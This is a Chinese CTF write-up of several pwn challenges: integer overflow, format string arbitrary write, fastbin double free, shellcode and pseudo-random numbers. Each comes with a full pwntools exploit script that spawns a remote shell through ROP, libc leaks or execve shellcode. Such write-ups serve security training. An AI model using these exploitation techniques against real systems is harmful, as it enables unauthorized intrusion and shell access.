PWN
flow

这题主要考了一个整数溢出, unsigned __int8 n9的取值范围是0-255,因此我们可以输入长度为257的字符串使得n9的值绕过if判断,在这里需要了解python中ljust的使用。
Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。即若代码为
str="aaaa" print(str.ljust(50,b'0'))
|
那么会打印出aaaa0000…000,因此就可以优化脚本的编写。exp如下:
from pwn import* context.log_level='debug' elf=ELF('./flow') io=remote('1.95.36.136',2127)
io.sendlineafter('name:',b'aaaa') io.sendlineafter('going?',b'3')
exit=0x0804872c system=elf.plt['system'] bin_sh=0x0804893d
payload=cyclic(0x21+4)+p32(exit) payload=payload.ljust(258,b'a')
io.sendlineafter("shell:",payload)
exp=cyclic(0x108+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(exp)
io.interactive()
|
这题主要考的是格式化字符串漏洞,如何使用该漏洞实现任意地址写

此题的关键在于如何将n的值改为4,因为有printf,存在格式化字符串漏洞,因此找到buf的偏移量,使用$n将n的值改为4即可。
exp:
from pwn import* io=remote('1.95.36.136',2142) elf=ELF('./format') libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so') #io=process('./format') puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] n_addr=0x0804A06C
io.sendafter("xiang yao shell?",b'no')
payload1=p32(n_addr)+b'%4$n' io.sendlineafter("hello hacker!",payload1)
payload=cyclic(0x18+4)+p32(puts_plt)+p32(main)+p32(puts_got) io.sendline(payload)
puts=u32(io.recvuntil('\xf7')[-4:]) print(hex(puts))
libc_addr=puts-libc.sym['puts'] system=libc_addr+libc.sym['system'] bin_sh=libc_addr+next(libc.search('/bin/sh'))
io.sendafter("xiang yao shell?",b'no')
payload1=p32(n_addr)+b'%4$n' io.sendlineafter("hello hacker!",payload1)
payload=cyclic(0x18+4)+p32(system)+p32(main)+p32(bin_sh) io.sendline(payload)
io.interactive()
|
bllhl_double_free
一道堆题目,打double_free
from pwn import* io=remote('1.95.36.136',2074)
def add_chunk(index,size): io.sendlineafter("choice:",b'1') io.sendlineafter("index:",str(index)) io.sendlineafter("size:",str(size))
def delete_chunk(index): io.sendlineafter("choice:",b'2') io.sendlineafter("index:",str(index))
def edit_chunk(index,content): io.sendlineafter("choice:",b'3') io.sendlineafter("index:",str(index)) io.sendlineafter("length:",str(len(content))) io.sendlineafter("content:",content)
add_chunk(0,0x68) add_chunk(1,0x68) add_chunk(2,0x68)
delete_chunk(0) delete_chunk(1) delete_chunk(0)
add_chunk(3,0x68)
edit_chunk(0,p64(0x6020C0-0x4))
add_chunk(4,0x68) add_chunk(5,0x68) add_chunk(6,0x68)
edit_chunk(6,b'aaaa'+p64(0x208))
io.sendline(b'5')
io.interactive()
|
bllbl_shellcode4
考察的是shellcode的编写
from pwn import* io=remote('1.95.36.136',2110)
bss_addr=0x04040C0 readbss=0x40132B leave_ret=0x401360 sh_addr=0x40203f jmp_rsp_0x15=0x40136A
payload=cyclic(9)+p64(bss_addr)+p64(readbss)+p64(leave_ret) io.send(payload)
shellcode=asm( ''' nop; nop; nop; nop; mov al,0x3b; mov esi,ebx; mov edi,0x40203f; mov edx,esi; syscall; ''')
payload=shellcode+p64(jmp_rsp_0x15) io.send(payload)
io.interactive()
|
forpwn
一道简单的pwn题目,考的是伪随机数
from pwn import* io=remote('1.95.36.136',2125)
io.send(b'1')
for i in range(5): io.sendline(b'0'*50) io.interactive()
|
bllhl_pieee